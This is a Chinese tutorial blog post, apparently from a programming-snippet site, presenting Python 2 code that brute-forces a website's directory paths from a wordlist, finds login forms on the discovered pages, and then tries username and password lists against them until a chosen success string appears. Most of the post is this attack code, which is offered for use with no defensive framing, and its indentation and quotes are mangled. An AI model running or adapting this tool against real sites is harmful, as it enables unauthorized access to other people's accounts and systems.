python遍歷路徑破解表單的示例
首先是利用python遍歷路徑,采用字典爆破的形式,當然如果只是單純的爆破路徑,簡單寫一個多線程腳本就行了。這里考慮如何對爆破到的路徑進行第二步利用,此處嘗試對猜解到的路徑進行表單發(fā)現(xiàn)及登陸爆破處理。
首先就是路徑爆破,采用多線程隊列,爆破路徑,判斷形式為200響應(yīng)碼。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try:r = requests.get(self.url+queue,timeout=5, headers=self.headers)if r.status_code == 200: print '[200] %s' %(queue) soup = BeautifulSoup(r.content,’html.parser’) if soup.find(’form’): self.brute(soup, queue)
猜解到路徑后交給brute方法處理,方法實現(xiàn)了一個css選擇器,獲取form表單中的input字段標簽,提取標簽參數(shù)組合成post參數(shù)值,然后提取表單中的action跳轉(zhuǎn)頁面,如沒有頁面默認在當前表單頁提交。
input = soup.select('form input') for i in input:try: if i.attrs[’type’] == 'hidden': name, value = i.attrs[’name’], i.attrs[’value’] list_post.append(name+’=’+value) elif i.attrs[’type’] == ’password’: name = i.attrs[’name’] list_post.append(name+’=$$$’) else: name = i.attrs[’name’] list_post.append(name+’=%%%’)except: continue for i in list_post:post = post + i + ’&’ action = soup.find_all(’form’) for i in action:if i[’action’]: actiontag = i[’action’]else: actiontag = queue self.payload(post, actiontag)
獲取參數(shù)值后,交給payload方法處理登陸,采用requests庫的session登陸。獲取cookie,先采用session請求獲取cookie后,再采用session攜帶cookie進行請求提交。然后對輸入的驗證值進行判斷是否為登陸成功。
for name in self.username(): post_user = post.replace(’%%%’,name.strip()) for pwd in self.password():post_pwd = post_user.replace(’$$$’,pwd.strip())session = requests.Session()session.get(self.url+’/’+action, headers=self.headers, verify=False)r = session.post(self.url+’/’+action, data=post_pwd, headers=self.headers, verify=False)if self.word in r.content: print ’[username] %s’ %name +’r’ + ’[password] %s’ %pwd return
為了判斷是否登陸成功,采用的人為輸入判斷字符串的形式。也就是腳本執(zhí)行形式為
python xxx.py http://xxxx.com xxxxx
以上就是python遍歷路徑破解表單的示例的詳細內(nèi)容,更多關(guān)于python 破解表單的資料請關(guān)注好吧啦網(wǎng)其它相關(guān)文章!
相關(guān)文章:
1. ASP 信息提示函數(shù)并作返回或者轉(zhuǎn)向2. Python importlib動態(tài)導(dǎo)入模塊實現(xiàn)代碼3. android studio 打包自動生成版本號與日期,apk輸入路徑詳解4. 利用promise及參數(shù)解構(gòu)封裝ajax請求的方法5. 淺談python出錯時traceback的解讀6. 在Android中使用WebSocket實現(xiàn)消息通信的方法詳解7. .NET中l(wèi)ambda表達式合并問題及解決方法8. Nginx+php配置文件及原理解析9. python matplotlib:plt.scatter() 大小和顏色參數(shù)詳解10. JSP數(shù)據(jù)交互實現(xiàn)過程解析
